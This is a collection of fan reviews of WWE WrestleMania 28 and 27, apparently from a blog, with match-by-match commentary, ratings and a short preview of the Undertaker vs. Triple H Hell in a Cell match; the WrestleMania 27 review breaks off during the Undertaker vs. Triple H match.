There’s no Shawn and HHH drops the hammer. HHH tries the powerbomb counter but can’t do it. He grabs the hammer again but passes out. No wait he’s back up. Taker’s face is a meme in waiting. Shawn is still down and Taker has to let the hold go due to exhaustion. Both guys are out. Here’s Charles Robinson who unlocks the cage to a ton of booing. Chokeslam to HHH gets two. Robinson gets a chokeslam for the count. Eh you knew it was going to be Shawn to count the fall so that’s no shock.

The fans think this is awesome and they would be correct. Shawn kicks Taker into the Pedigree but it gets a VERY close two. I really thought that was it. That didn’t happen at all last year which makes this even better than last year. Shawn is distraught that he almost counted the fall after interfering. HHH has the hammer again and he throws Shawn to the floor. The Game goes after Taker with the hammer but Taker sits up, making HHH fall down in fear.

Here’s the Big Dead Comeback with all of his old favorites. Snake Eyes into the big boot is followed by a legdrop. Tombstone plants HHH but only gets two. Not even a close two either. Shawn looks like he’s about to cry in the corner. They slug it out from their knees to their feet and HHH Pedigrees him out of nowhere for two. It wasn’t a great one so it’s a bit more believable. Taker sits up again and grabs a chair. HHH has the hammer but Taker steps on it. Now HHH takes the beating with the chair and the chair is bent. All of the shots only get two though.

Shawn yells at both of them to let it end already. HHH tries to grab Shawn to pull himself up and gets the hammer. Taker can’t follow up and HHH is in agony. He tries a hammer shot but Taker blocks it due to HHH’s exhaustion. Now Taker has the hammer and HHH shoves him away. There’s a crotch chop so Taker hits him in the face with the hammer. Shawn turns his back on the match and the hammer is thrown to the floor. There go the straps and the throat slit sets up the tombstone for the pin at 30:53.

Rating: A+. I liked this a lot better than last year’s. Of the four matches these three have combined for, I’d put this at second best after HBK vs. Taker I, which is pretty high praise. Great match with some great drama and there were actual moments here where I thought the Streak was over, namely the DX Special finisher. Shawn added something here, but I don’t think it was as epic as they were shooting for. The Cell wasn’t a huge factor but it did add something to it as far as a visual goes. Great match and I loved it.

Shawn pulls Taker to his feet post match. Both of them help HHH to the back in a cool visual.

Hall of Fame video. It’s cool to see Flair up there.

Here are the Hall of Fame inductees. The Fink does the intros which is good. That man belongs at Wrestlemania. Tyson does a crotch chop of course. Edge is on the stage and gets his theme music played. No one says anything but it’s cool to see Flair there. Note that I said there and not in the ring.

Win a trip to Wrestlemania 29!

Josh is about to talk to Flo Rida when Heath freaking Slater says interview him instead. Flo Rida comes out and Slater asks about a duet. That gets a no so Slater wants to be a DJ or backup dancer. Those both get a no. Flo Rida says Slater can hold his mic. Slater gets in his face and Flo Rida shoves him into a wall. Hawkins and Reks come in to laugh at Slater. Ok then.

Team Johnny vs. Team Teddy

Johnny: The Miz, Mark Henry, Drew McIntyre, Jack Swagger, Dolph Ziggler, David Otunga (captain)
Teddy: Kofi Kingston, R-Truth, Booker T, Great Khali, Zack Ryder, Santino Marella (captain)

Otunga has his coffee cup with him too which is awesome. Vickie and Horny are flagbearers. The winning GM controls both shows. Eve is with Ryder. Aksana looks good in the Teddy shirt. Dolph and Kofi start things off and Dolph takes over. Kofi comes back with a top rope cross body for two and here’s Truth. Spinning legdrop gets two but Ziggler dropkicks him down.

Off to Drew who gets caught by the Lie Detector. Khali comes in and chops a bit before Booker gets the tag. Side slam gets two. JR is gone now. Otunga gets in a shot to Booker and Drew’s big boot allows him to tag Swagger. Why is swagger in aquamarine? He’s an ALL AMERICAN AMERICAN. Swagger takes him down and it’s time for Henry. He does absolutely nothing so it’s time for Miz.

Running knee lift gets two and it’s off to a chinlock. Back to Ziggy for a knee drop and then back to Miz. Booker finally gets some breathing room but Henry comes in for the World’s Strongest Slam. Khali chops Henry down and everything breaks down. Kofi/Truth hit double dropkicks to send the heels to the floor. For some reason they throw Horny onto Henry and then along with Ryder hit stereo dives to the floor. Aksana spears Vickie as the match is a mess.

Booker and Miz are down in the ring at the moment but there’s the tag to Santino. Santino does his usual stuff and the saluting headbutt from the top. Cobra is loaded up but he stops to go after Johnny. Cobra to Miz gets two as Dolph makes a VERY close save. Tag to Ryder who monkey flips Dolph and a neckbreaker takes down Miz. He loads up the Rough Ryder but Miz throws him onto Ziggler. He loads up the Broski Boot but Eve comes in for no apparent reason. The distraction lets Miz hit the Finale on Ryder for the pin at 10:42.

Rating: C. Was Otunga ever in the match? This was pretty much exactly what was expected with Eve screwing over the team “by mistake” and Johnny’s team winning. I don’t think anyone ever thought Team Teddy had a chance and even further ends the Brand Split, which is more or less dead already. No issues here for the most part.

Eve kicks Ryder in the balls post match and walks off with her hand on her hip.

Extreme Rules is in four weeks.

Alex Rodriguez and Torrie Wilson are here.

Video on what WWE has done for Miami.

Ace brags to Punk a bit about the win. If Punk gets disqualified, he loses the title. That sounds like the perfect setup for a rematch where Punk can’t get disqualified at Extreme Rules.

Raw World Title: Chris Jericho vs. CM Punk

If Punk, the champion, gets DQ’ed, he loses the title. We get a quick video recapping Punk’s rise up the roster and Jericho saying that Punk has addiction in his blood. They go to the mat quickly and Punk stomps away on him in the corner. Jericho slaps him as he’s trying to get disqualified. Punk stomps to four and then stops each time which is a nice touch. Jericho slaps him two more times and then hides. Punk dropkicks him in the corner and pounds on him to four again.

Jericho shouts about Punk’s father, earning him more elbows to the head. Punk loads up the Macho Elbow but Jericho rolls to the floor. Punk is cool with that and hits a top rope clothesline for two. Jericho asks about Punk’s sister which draws a chair from Punk but he won’t swing. A line about Punk’s sister being a drug addict doesn’t do it so Punk kicks him in the ribs instead. Punk throws the chair away and walks into a bottom rope dropkick (yes a bottom rope dropkick) to take the champion down.

Back elbow puts Punk on the outside. They go to the apron and Punk tries a GTS but the Canadian escapes and clotheslines Punk back in. Jericho suplexes him to the floor and it almost looked like a Jackhammer. Back inside that gets two. Butterfly backbreaker gets the same. Jericho is working on the back to set up the Walls. Off to a chinlock and then a kick to the back. Surfboard submission goes on so Punk jumps up into a dropkick to the gut in a nice counter.

Punk counters the bulldog by sending Jericho into the corner crotch first. CM makes his comeback with kicks and chops, plus a neckbreaker for two. Punk hits the knee in the corner but the bulldog is countered. Lionsault gets knees but Jericho counters into the Walls but that gets countered. Sweet sequence. High kick gets two and Chris is down. The Macho Elbow looks awkward as it looked like it hit but I think Jericho put his knees up, which doesn’t do much good for an elbow. That looked weird.

Codebreaker hits but Punk rolls out. Jericho throws him back in but walks into the GTS. Punk can’t cover immediately though and Jericho gets his foot on the rope. Another high kick misses but a powerslam gets two. We get a series of standing switches resulting in Jericho draping him over the top and hitting the Lionsault for two. Chris goes up and Punk tries a rana, but Jericho counters into the Walls in a sweet counter that I’ve seen him use before. Punk of course gets the rope but getting there was cool.

Jericho charges at him but Punk backdrops him to the floor. Punk is holding his back and Jericho stands in perfect position for the suicide dive from Punk. The fans are a little dead for some reason. I don’t get why as this has been a good match. In a SICK spot, Punk hits the running knee to the head of Jericho while it’s against the post.

Punk tries the springboard clothesline but jumps into the Codebreaker for two. That would have been back to back losses at Mania due to the springboard for Punk. Two GTS’s are countered and Jericho is getting frustrated. He goes up but Punk kicks him in the back. GTS is countered AGAIN, this time into the Liontamer and then the Walls. Punk crawls for the rope but Jericho drags him back into the middle.

The champ crawls through the legs into a small package and they reverse it a few times but Punk counters into the Vice which Jericho counters into a rollup for two but he can’t break the hold. Now Jericho knees him in the back of the head and FINALLY breaks the hold, countering into a Walls attempt. Punk counters THAT into the Vice and this time he leans his head forward so Jericho can’t knee him. Jericho is forced to tap at 22:23.

Rating: A. ANOTHER awesome match here. That finishing sequence was absolutely awesome with some SICK counters. I’m not sure if I’d call it a masterpiece or anything, but these two nailed it and it looked like Punk outsmarted Jericho using psychology he gained throughout the match, which is great stuff. Loved this and it’s another great match on a GREAT show so far.

Mania 29 will be in New Jersey.

FUNKASAURUS!!! AND HE’S TALKING!!! I don’t think most people care about him. He asks people to pull out their phones because they’re going to call their mamas. Brodus calls his mama and says he wishes she was there. His mama is here with the bridge club apparently. She was in the back….and he didn’t know it? She’s a woman with really weird hair and what has to be……oh my goodness the bridge club is all here to dance with her. There must be 20 old women out there dancing. I think I need a minute.

Go see G.I. Joe 2.

Clips of the Once in a Lifetime special to hype up the main event. If you don’t get the story here, go look it up.

Diddy introduces some rapper to sing one of the theme songs. The rapper defines an underdog who apparently is Cena in this. Uh….not quite but ok.

John Cena vs. The Rock

Writing that gave me a chill. Cena is booed but it’s not horrible. We get his traditional shot from the back as he runs to the ring. There’s a new green shirt too. Ok now he’s getting booed. There’s nothing really special to Cena’s entrance this year. Once Cena is in the ring Flo Rida does the other theme song to the show with a full set of backup dancers. Now some chick comes out to sing another song with him. Could the timing on this be worse?

Rock’s entrance really could have done without the dance troupe behind him and it made things look a bit less epic than they were going for. He looked like he was going in for a big fight though and that’s the important thing. We get a shot from above the stadium and it looks AWESOME. We get big match intros. This is really happening. Oh THERE are the boos for Cena. There are some cheers and it’s nowhere near MITB but it’s up there. Big pop for Rock as expected.

The bell rings at 10:24:42 after about a minute of staring. My heart is beating out of my chest as I can’t believe it’s finally here. They lock up and Cena shoves him off. He looks like he lost five pounds of air with the exhale after that. The dueling chants begin and it’s certainly not a one sided crowd. Rock shoves Cena off. That’s so Hogan (in a good way). They lock up again and Rock grabs a headlock.

They fight over a wristlock and Rock does Owen’s counter into a pair of armdrags and La Majistral for two. He did that at Survivor Series and Cena still looks stunned. Cena whips him in and gets perhaps the highest leapfrog I’ve ever seen into a headlock takeover. No one has an advantage of note after about four minutes. Rock lowers his head for Cena to kick him and Rock pops him with a right.

Cena charges and Rock tries a Sharpshooter, but John rolls to the floor. Rock catches Cena coming in but Cena sends him into the corner and hits some shoulders. Clothesline gets one and Rock gets to the rope. You know it occurs to me: Cena has an experience advantage here and a big one at that. He’s been in WWE going on ten years, whereas Rock was around less than seven in total, and that’s stretching A LOT.

Rock fires off some punches but misses a charge to send him to the floor. They’re starting slow but we have almost half an hour for the slow build. Rock gets dropped on the barricade and they go to the floor. Cena drops the ribs into the announce table and sits in the ring. Back in the ring and Cena is in control. Belly to belly gets two as he keeps working on the ribs. Now a bearhug which is a smart move. Cena’s power is often forgotten until the end of the match so this makes sense.

Rock fights out of it with punches and a DDT, but Cena fights back. Now Rock comes back with punches and the jumping clothesline. Spinebuster looks to set up the elbow but Cena picks the leg for an STF attempt. That gets countered so Cena comes back with the shoulders and ProtoBomb. The Shuffle hits but the AA is countered and they clothesline (kind of) each other.

They slug it out and Rock takes over with faster punches. He tries to do You Can’t See Me but Cena grabs the AA for two. NOW this is getting good, almost fifteen minutes into it. That’s not a bad thing mind you as it’s about what happens in every main event match. Cena might have a cut next to his nose but it’s not bad. Cena goes after Rock and gets caught in the Rock Bottom for two. Rock hammers him in the corner but walks into a side slam for two.

Cena goes up and takes forever, but manages to hit the top rope Fameasser for two. Out of nowhere Rock grabs the Sharpshooter and somehow it’s gotten even worse. We’re over twenty minutes into this and Rock is getting frustrated. Sharpshooter goes on again and he’s just pulling on the feet instead of wrapping his arm around them. They go to the floor as we’re over 20 minutes into this.

Cena goes into the steps and Rock is in full control so far. John goes into the steps again but as they come back in he sunset flips Rock (that boy can JUMP) but instead of covering he hooks the STF. The leg is bent in a freaky way. Rock almost gets the rope so Cena lets go and pulls back to the middle of the ring. Rock is starting to fade and he’s not very close to the rope. The referee takes forever to check the arm and it drops once. It drops twice, but on the third try Rock continues to channel Hogan (again awesome) to raise the arm. He FINALLY makes the rope and we’re not done yet.

We’re 24 minutes into this so it’s got to be running short on time. It’s 10:49 now so it can’t break forty minutes. Cena is tired but he walks into a Samoan Drop to put both guys down. They slug it out and both finishers are countered. Spinebuster puts Cena down and there goes the elbow pad. The People’s Elbow hits for two. Cena grabs a small package (easy big fella) for two. John grabs a slingshot to send Rock into the buckle and a rollup gets two.

Cena drives him to the corner and puts Rock up on the second rope. He looks like he’s setting for a superplex but Rock shoves him off. Rock looks very tired and I can’t blame him. It’s his first singles match in about 9 years and he’s going half an hour. Rock goes up top (huh?) and tries a cross body but Cena rolls throug and flips him onto his shoulders for the AA for TWO. I thought that might have been it. It’s 10:54 and they’ve gone thirty minutes now. John looks at his hand, takes off the wristband, and sets for the People’s Elbow but walks into the Rock Bottom for the pin at 30:40. WOW.

Rating: B+. I have no idea what the point of that is, but they did it. The match was never going to be able to live up to the hype and I don’t think it was going to ever be able to do so. I really don’t agree with the ending as there’s no incentive for a rematch now, Cena looks like he can’t beat a guy that’s been retired almost longer than he was active, and it does nothing for the guys sticking around. I don’t get it at all. Good match, close to great, not a masterpiece.

Rock poses to end the show.

Overall Rating: A+. This was an incredible show and one of the best Wrestlemanias I’ve ever seen. I was really worried about the pacing of the show for awhile but they pulled it off really well and it never dragged. There were multiple classics and that’s exactly what Wrestlemania is supposed to be. When the worst match is probably the Divas, that’s definitely a good sign.

As for the main event, it was indeed very good but I didn’t like the ending. Granted that’s two minutes after it so maybe that’ll change. I don’t hate it, but I don’t like it that well at the moment. Still though, it’s a very good match to end an amazing show and we’ll have to see where things go from here. Absolutely worth seeing though.

Results
Sheamus b. Daniel Bryan – Brogue Kick
Kane b. Randy Orton – Middle Rope Chokeslam
Big Show b. Cody Rhodes – WMD
Maria Menounous/Kelly Kelly b. Beth Phoenix/Eve Torres – Rollup to Beth
Undertaker b. HHH – Tombstone
Team Johnny b. Team Teddy – Skull Crushing Finale to Ryder
CM Punk b. Chris Jericho – Anaconda Vice
The Rock b. John Cena – Rock Bottom

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Undertaker Is 20-0

And in a better match than last year.




Wrestlemania #28: Hell in a Cell – Undertaker vs. Triple H

The End of an Era.  What Era that is isn’t clear but one is ending.This is the match that has arguably gotten the most build or at worst the second best.  It’s basically the culmination (to date) of the last three Manias before it, with Shawn not being able to stop the Streak, the betting his career against it, then his male life partner/occasional attempted murderer HHH failing to do so as well.  Now it’s Taker vs. HHH in the match they both made famous which is something huge.  The best thing about the gimmick aspect of the match: it feels like it belongs here.  There’s no reason to not put these two in the cage because it adds a level of intensity to the match that it might not have otherwise.

 

On the other hand, we have a second gimmick in this match in the form of a guest referee in the form of Shawn Michaels.  I really don’t get what he adds to this.  The promos have been very good to pretty good in this and the best was Shawn and HHH talking, but I don’t really see what him being in there with the two of them will do.  These two don’t need a third big name in there.  I mean, it’s Undertaker vs. HHH in the Cell.  What I do think it needs though is something on the line for HHH.  If he loses, so what?  He hasn’t put anything up.  The way one of their talks a few weeks ago went, it seemed like this was going to be Streak vs. Career but that didn’t happen, which I think could have helped the match a bit.

 

As for a prediction, it’s the Streak.  If there’s one sure thing in wrestling, it’s that you don’t bet against the Streak.  Shawn can be in there, the rest of DX can be in there, the 82nd airborne can be in there.  You don’t bet against the Streak.  Last year during their match I never once moved during every one of the near falls on Undertaker because it just wasn’t going to happen.  That wasn’t true in the first Shawn match, which is why I like that one more.  The more interesting question is will there be blood, and I think we’ll see some.  The prediction is Taker with one of his 9 or so finishers.

 

Thoughts/Predictions?




Wrestlemania Count-Up – #27: They Really Did This

Wrestlemania 27
Date: April 3, 2011
Location: Georgia Dome, Atlanta, Georgia
Attendance: 71,617
Commentators: Michael Cole, Josh Matthews, Jerry Lawler, Booker T, Jim Ross
America the Beautiful: Keri Hilson

Well here we are. It’s the biggest night of the year and we’re heading to Georgia for the first time in Mania history. The main events are John Cena vs. The Miz for the Raw Title, Edge vs. Alberto Del Rio for the SD Title and HHH vs. Undertaker (not II of course). This is the night we’ve all looked forward to, and there’s that Rock guy here too. Let’s get to it.

The dark match was the US Title match but it turned into a non-title battle royal with Khali eliminating Sheamus to end it. I’m assuming the US Title match will be later.

Note that this is being written live so please excuse any marking out moments.

Keri Hilson, some singer I don’t know, sings America the Beautiful.

The voiceover guy here is like an old vaudeville voice which is kind of cool. Up first: here’s THE ROCK! The Great One looks…well great. The arena looks awesome too. Actually it’s a stadium but whatever. After posing forever he teases the FINALLY before hitting it. Bunch of Fruity Pebbles signs in the crowd. Rock promises this will be electrifying. Time for a little game: the Rock says Yabba, the people say Dabba. This somehow takes up FIFTEEN MINUTES overall and he does a huge IF YA SMELL to end it.

Video about the major moments in Mania history and the big ones tonight. Standard awesome intro video. I know they were cutting out the wrestling but this is ridiculous.

There’s the traditional big fireworks display and we get a match!

 

Smackdown World Title: Edge vs. Alberto Del Rio

 

WHAT THE HECK??? THIS IS THE OPENING MATCH??? The intro is great for Alberto as the video where the car comes from is designed to look like his driveway at his estate so he’s driving out of it. That’s awesome. Clay is here with Alberto. Here’s Christian to back up Edge. I think shenanigans may be afoot. This gets the big match intros because it’s a big match. Can’t fault their logic there.

I’m watching on a stream so I’ll do my best on the times but I make no guarantees on their accuracy other than in general. Edge fires away early on as Cole talks about the arm. Naturally that triggers an attack on said arm which is in trouble early. The arm work continues as is intelligent. Alberto goes to the floor so Edge flips forward over the ropes and lands mostly on Del Rio in a cool spot.

As the champion comes back in though Del Rio pulls him off the top in an armbar. The Cross Armbreaker is countered into the Edge-O-Matic as Edge gets two. Out of nowhere the armbreaker goes on but Edge rolls through to escape. Dueling chants begin. Edge goes up again but Del Rio gets the running enziguri to take him down for two. Christian and Clay get into it and Christian goes flying via a suplex.

Edgecution sets up the attempted spear but Alberto avoids. He stops in the corner and Clay grabs the arm and rams it into the post. The armbreaker goes on full force after a bit of a block. Edge reverses into a rollup/cradle move that makes Alberto break it up to escape. Edge gets the Edgecator and Alberto is in trouble. Clay tries to come in but Christian gets the tornado DDT off the apron to the floor to take him down. Del Rio escapes but walks into the spear to end this at approximately 11:00. Wow that was abrupt.

Rating: C+. This wasn’t terrible but dude, 11 minutes for this? That’s in the level of Cena/JBL at Mania 21. Not a bad match but it felt like a match that could have easily been on Smackdown as a regular main event. Alberto didn’t need to get the title yet so at least the right man won. Still though, 11 minutes?

Edge beats up the Rolls Royce post match. By that I mean he destroys it with a crowbar. Why Alberto doesn’t go after it is beyond me. Alberto yells for Christian for some reason. Oh ok Christian was helping with a ball bat. I need to pay more attention.

Cole talks about being in the main event and is in a suit, as is Jerry. They….they couldn’t really be putting that on last could they?

Rey Mysterio vs. Cody Rhodes

 

As Rhodes comes to the ring we get the video recap of this. In short, Rey hit Cody with a 619 with a metal knee brace that Cody exposed earlier in the match, injuring the Dashing features of Cody. If this is a few years later, look up Dashing Cody Rhodes for an awesome heel in 2010. Rey’s character this year: Captain America. Ok that’s not bad.

Rey “helps” Cody take the jacket off as Cody is all afraid of being seen. Rana takes Cody down but a shoulder block shifts the momentum immediately. Cody immediately goes for the knee which is a bit odd but whatever. Beautiful Disaster leaves Rey seemingly dead but it only gets two. I could definitely see this being the modern Bob Orton injury angle which could work for months if played up right.

A rana is eventually countered into the Alabama Slam for two. That’s one of the things I like about Cody: he incorporates things from his past into his offense, which is a sign of him growing. Also he stopped having the big Triforces on his boots which was definitely a face thing. Cody gives Rey a neck massage which I’d assume is to get his arms tingling right?

Mysterio tries to speed things up a bit but gets caught on top and it’s a delayed vertical suplex from the middle rope which is pretty awesome. That only gets two though. The crowd is mostly into this but is kind of quiet. Granted that’s what a superhero comeback is all about. Cross Rhodes is avoided and we hit the floor for a bit with Cody’s face being sent into the apron.

Back in the ring and a seated senton means we speed things up a little. Rey kind of looks like something you would see in a Captain America cosplay contest. Wheelbarrow suplex by Cody gets two. Rey finally gets him in 619 position but it gets caught and Cody hits a slingshot to send Rey’s throat/chest into the middle rope for two. Cody tries to take the knee brace off and manages to get it, meaning Rey’s knees are about to snap like a Kit Kat.

Rey fights him off to a bit and gets a moonsault press for two. Cody’s mask comes off and he gets sent into the 619 position. You can see Rey’s not moving the same without the knee brace. Rey goes up but the splash meets knees. Big kick to the head gets only two as this is a good match. Rey puts Cody’s mask on and I’m not sure if Cody knows it or not. Rey gets some running headbutts to send Cody reeling and a swan dive gets….two. Wow I would have thought that was the finish. The referee throws the knee brace out and Cody hits Cross Rhodes for the shocking (but good) pin at approximately 12:15.

Rating: B. I was into this and it was a rather fine match. Also, thank goodness Cody won here so he can continue his Phantom of the Opera kind of thing. I’m very pleased with this as Cody continues to be one of the best guys in the company at this point. I’d love to see him get a quick title feud with Edge but I doubt it’ll happen.

Snoop Dogg is with Teddy Long and Snoop is looking for talent for a tour he’s got coming up. Teddy has some WWE talent to audition for him. Regal does a rap and it’s again hilarious. Khali and Beth Phoenix do a song from Grease and get hooked more or less. Zach Ryder sings something that is apparently from a chick named Rebecca Black and Roddy Piper hits him with what might have been a coconut. Piper looks good.

Tatsu and Masters do We Will Rock You with Masters doing the pec dance to the drums. Horny is going to do a rap apparently but he can’t talk. Teddy and Snoop leave and Horny raps while the Bellas dance. At least we got the good looking twins.

Corre vs. Santino Marella/Kofi Kingston/Big Show/Kane

 

The change of Kozlov to Kingston was kind of a surprise but I’m pretty sure if was officially announced. I can’t complain a bit there either as Kofi should be on the card. Santino vs. Slater to start us off here. Big kick by Santino misses so it’s off to Show who cleans a few rooms. You can’t really say cleans house for one guy.

Show rams into Slater in the corner but Jackson runs him over. Everything breaks down almost immediately and Barrett takes Trouble in Paradise. This is moving around too fast to call. Cobra time and it hits Santino. The Knockout Punch ends Slater and the match in about 1:40. Yeah there was a point to this. No rating of course. That punch was SICK in the replay.

Rock hits on Eve in his first appearance in 45 minutes. He talks about making magical moments. For instance whoever comes around the corner next (without Rock looking) is going to get a magical moment with Rock. And it’s Mae Young. I was thinking it would be her. She wants the People’s Strudel. Rock says that Mae should be after Moses’ strudel. Rock have Eve escort Mae to her seat. Mae spanks Rock.

Rock does the around the corner thing again and IT’S AUSTIN!!!! I was hoping this would happen as it flat out needed to be done. This is like an old western. They’re both retired and it’s an incredible moment to say the least. They shake hands and say it was good to see each other. Totally AWESOME moment here and something that absolutely had to happen.

We recap Punk vs. Orton. In short, Orton punted Punk in the head two years earlier and cost Punk the title. Punk waited two years to get his revenge and sent the New Nexus after him. This more or less crippled the entire feud as it just died when Orton ran through Nexus the entire time. Oh and Orton had a bus for some reason and Punk hit him in the knee with a pipe or something so the leg is bad.

CM Punk vs. Randy Orton

 

Punk goes for the knee early but that gets him clotheslined. Out to the floor and Punk is sent into the steps but he jumps/steps over them which I don’t remember seeing before. He kicks the steps into the knee of Orton to take over. The fans chant for Orton as Punk hits a top rope cross body for two.

Orton fires back with the backbreaker and Punk is down a bit. He tries to fight out of the corner but Punk gets something like a jawbreaker onto the knee. That’s a new one. Orton gets caught in the Tree of Woe and Punk hammers away. Punk gives the sign for the GTS which of course doesn’t work as Punk does what any idiot villain does and walks around before he tries anything.

Randy escapes over the back and tries the RKO but gets kicked in the head for two instead. Punk goes to the outside but gets crotched. His reaction is awesome to say the least. The fans want a DDT off the top so Orton goes up. And the fans get something similar in the form of a superplex for two in a NICE callback to Orton’s papa (that was Bob’s finisher).

Punk fights back and actually gets the figure four around the post and does it to the correct leg! Leg lock back in the ring and it’s almost an Indian Deathlock. Orton fights out and gets the Angle Slam. Finally Cole doesn’t call it something stupid. Orton goes insane again and hits the Thesz Press to ZERO reaction. Punk fires back with kicks and a leg sweep and there’s the Anaconda Vice! The hold makes no sense given the knee work but it’s not going to be the finish anyway.

Orton is in trouble but he manages to roll out of it and into the ropes in a nice little counter. Punk goes to the apron and stands on the bottom rope because he’s not that intelligent. He gets sent into the post and the elevated DDT takes him down. Orton slams the mat and doesn’t break his arm this time. The face is awesome to say the least. He takes FOREVER though and you know it’s not hitting here.

Instead he backs up for the one legged punt because you know he can get a running start after not being able to stand a few minutes ago. Thank goodness Orton falls down on the approach. Punk looks all psycho and his hair is even freakier. He goes over to Punk and gets….not caught in the RKO as Punk shot out of the back. I thought it was a botch but that was intentional. Here’s your big RKO spot as Punk tries the springboard clothesline but jumps into a nice RKO to end it at 14:40.

Rating: B-. I’m not a fan of Orton but this was pretty good stuff. They gave it some time and the knee worked pretty well as Punk went into the air rather than having to jump. Pretty good here but you kind of have to wonder where this goes from here as well as where Punk goes. Granted that’s the point of watching tomorrow I guess.

Rock is with Gene Okerlund (do your own caps) who says that Cena’s #1 fan is coming here to confront Rock tonight. And it’s Pee Wee Herman. Gene wears Cena gear and Herman does the Rock’s line. I don’t care for Herman so this was nothing at all.

Hall of Fame time. Abdullah can barely walk.

Sunny looks good for the most part. She needs to just flash the crowd and get it over with.

Animal in a tux looks weird. Ellering is there too, complete with sunglasses.

Drew Carey is murdered by the crowd and rightfully so.

Armstrong gets no reaction at all, probably because no one knows who he is.

Duggan gets a nice ovation and there’s a bowtie on his 2×4.

And now for the one that matters. Yep the roof is gone.

We get a Wrestlemania Recall….which is from Raw. It’s Cole throwing soda in Lawler’s face. I hope this is next and it is.

Jerry Lawler vs. Michael Cole

 

Booker T and JR are on commentary with Josh. They both get intros, I guess to buy the guys time. As JR is coming to the ring, Cole interrupts him, complete with an orange hoodie and headgear and shorts. I give up. Cole runs his mouth about Lawler being old and all that jazz. Oh and he runs down the barbecue sauce. Well at least this isn’t the main event like they hinted at. Cole keeps stalling for time for Lawler which is fine.

Swagger comes out to no reaction at all. We get the pushups but in mid push the glass shatters and Austin is here with ATV and I think a new shirt. Cole took off the hoodie and is in a singlet. For no apparent reason Cole jumps off the apron when Austin is charging around it and has to hide in the box. Lawler comes out to his regular music thank goodness. He looks a bit like Shawn with his attire.

Somehow this is the best built match of the night. Lawler is in his usual attire in the ring as Cole stands on his desk in the Cole Mine to warm up. Austin says ring the bell and sends Lawler after Cole. Swagger charges and gets sent into the post and then the barrier. Cole begs off and is close enough to a mic for us to hear him. He offers a handshake through a hole in the box. Is that like a glory hole for idiots?

Lawler pulls on Cole’s hand and rams his head into the box. Jerry finally climbs into the box and beats the tar out of Cole. This is awesome. Jerry destroys him and gets him out of the box. Into the GM podium he goes and Jerry tosses him into the ring. Swagger gets up and drills Jerry to put him down. Cole gets something close to a baseball slide to the send Jerry down.

Ankle lock by Swagger when Austin is distracted. The comeback for this is going to be awesome. Austin counts incredibly slowly and Cole works on the knee. Cole might have a 3 Stooges tattoo on his back. That’s something I really didn’t want to know. The fans say Cole can’t wrestle. Well he’s not a wrestler so I think that’s ok. The fans think this is nonsense. Such an impatient generation.

Cole tries a Vader Bomb (screw that Swagger Bomb stuff) from the bottom rope and Jerry powers out of it. Jerry gets some punches in but Cole goes back to the leg. The fans say boring so Cole pulls a strap down and puts on the AnCole Lock. Jerry doesn’t seem to mind and kicks Cole off to wake up the crowd. He walks it off and Cole is caught.

A mudhole is stomped….kind of. Swagger throws in the towel and Austin is like WHAT? There’s a Stunner for Swagger as the fans are way into it now. And now it is time to pay. Austin looks at his watch and Cole slaps his hand away and SHOVES AUSTIN. Big right hand by Lawler and the beating is on.

The fans get behind Lawler as the punches come in hard and there’s a dropkick. With a point to the sign and the strap coming down it’s a jumping punch from the middle rope. That gets two as Jerry pulls him up. This has to end with the Piledriver. Jerry grabs the ankle lock and Cole taps. Austin makes sure it’s really a tap in a funny bit. Cole insists he gives up and there’s the bell. Dang it that should have been the Piledriver but the ankle lock ends it at approximately 14:00.

Rating: C. This was a letdown for me. First of all the ankle lock was a pretty weak finisher and Cole was on offense too long. It wasn’t bad but they needed to change a few things out there to really make it awesome. This needed a Piledriver but I can understand Cole being afraid to take it or whatever.

Post match it’s time for a beer bash and Booker gets in the ring. Jerry takes a beer but doesn’t drink it (he’s a known non-drinker). There’s a spinarooni for Mania and why is this about Booker T again? Stunner to Booker and more beer is consumed. Jerry hasn’t drank any it seems. We get an E-Mail of all things to interrupt this. The referee overstepped his boundaries and the winner is Michael Cole by DQ. Please let this be a late April Fool’s joke. Amazingly it’s not and Matthews gets a Stunner. And the show is officially killed.

This should have been screwupable and they screwed it up. I’m in awe of their utter stupidity here.

We get a video of Wrestlemania Week and I do not care. I’m still stunned at the utter stupidity of what they just did.

Lawler and Ross are on commentary now which is cool but they couldn’t do that without the whole stupidity thing there? Yes I’m harping on it but man that was idiotic.

We recap HHH vs. Undertaker with a package we’ve seen a dozen or so times now. In short, HHH wants to break the Streak because there’s nothing else for him to do.

Undertaker vs. HHH

 

There’s a rock version of Taker’s theme which is WAY too up tempo for him. Oh wait that’s for HHH. Oh my it’s For Whom the Bell Tolls by Metallica. That’s cool but dude, it’s HHH. Ah there’s All About the Game. That’s more like it. He has an army and a crown and yeah you get where this is going. Still cool though. Taker does his usual awesome entrance to Johnny Cash.

The song loops as the entrance takes too long. Or maybe that was just the second verse. The lightning goes off when Taker removes his hat. The crowd is surprisingly quiet. This is no holds barred and they slug it out immediately. Taker grabs him by the head and fires him over the top with ease. We go to the floor and HHH actually wins a fistfight. His reward is being thrown into the steps.

We set up the announce table (Spanish of course) but HHH spears Taker into the Cole Mine to destroy it and put Taker down. Taker looks up at HHH and is all ticked off. Back in the ring and they slug it out again. Taker works on the shoulder and here comes Old School. That of course doesn’t work but this time you can’t blame it on him shouting OLD SCHOOL at least. Another clothesline sends Taker to the floor as HHH is favoring his left arm.

Now they set up the American announce table as Lawler is in an Austin shirt. Pedigree is countered as is the chokeslam but there’s a backdrop off the table to the floor and he’s holding that arm and wrist again. Oh yeah that thing slammed into the ground HARD. The fans chant 19-0 as the match more or less stops. Taker busts out the Taker Dive which at least cleared the ropes and hit HHH. It wasn’t great but at least he hit a person and not the floor.

We start using the steps and someone shouts about Shawn either being here or not being here to save HHH. Taker sets for a tombstone I think but gets countered and hit with a headbutt. Taker tries a running charge but gets caught by a spinebuster into the table/through the table, whichever you prefer. This has been big spot, lay down, big spot, lay down for about 8 minutes now.

Back in the ring and a chokeslam gets two. Taker loads up the Last Ride but gets rammed into the corner. More dueling chants begin and HHH fires away with punches in the corner. Taker tries the Last Ride but HHH counters in a nice callback to Mania X7 (which had nothing to do with these two facing each other. That’s never happened at Mania. Silly people) Pedigree is reversed as is a big boot to the face, the latter being via a spinebuster for two.

HHH goes to the floor and grabs a chair which of course goes across the Game’s back. Pedigree out of nowhere gets two. Last Ride gets a long two as we’re in that same formula from earlier. Taker gives the throat slit but the Tombstone is of course….not reversed for two. HHH kicked out of the tongue sticking out thing! I know they’re wanting this to be epic and while it’s good they feel like they’re trying to be epic rather than actually being epic.

